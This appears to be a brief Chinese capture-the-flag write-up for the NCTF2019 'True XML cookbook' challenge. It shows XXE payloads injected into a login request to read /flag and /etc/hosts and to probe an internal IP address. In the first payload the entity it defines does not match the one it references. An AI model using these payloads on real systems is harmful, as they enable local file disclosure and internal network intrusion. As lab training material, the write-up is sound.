[NCTF2019]True XML cookbook
爆破
抓包爆破,想直接爆出密碼。
然鵝我天真了。
XXE漏洞
這里存在XXE漏洞,利用腳本直接打:
構造:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&admin;</username>
<password>password</password>
</user>
沒有哦·····
打內網
XXE漏洞可以直接攻擊內網用戶,先查看內網存活主機:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>
看到了本機ip,但是不知道存活ip。
可以用BP爆破(但是看到wp上是說ip最后一位為11):
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "http://10.34.239.11">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>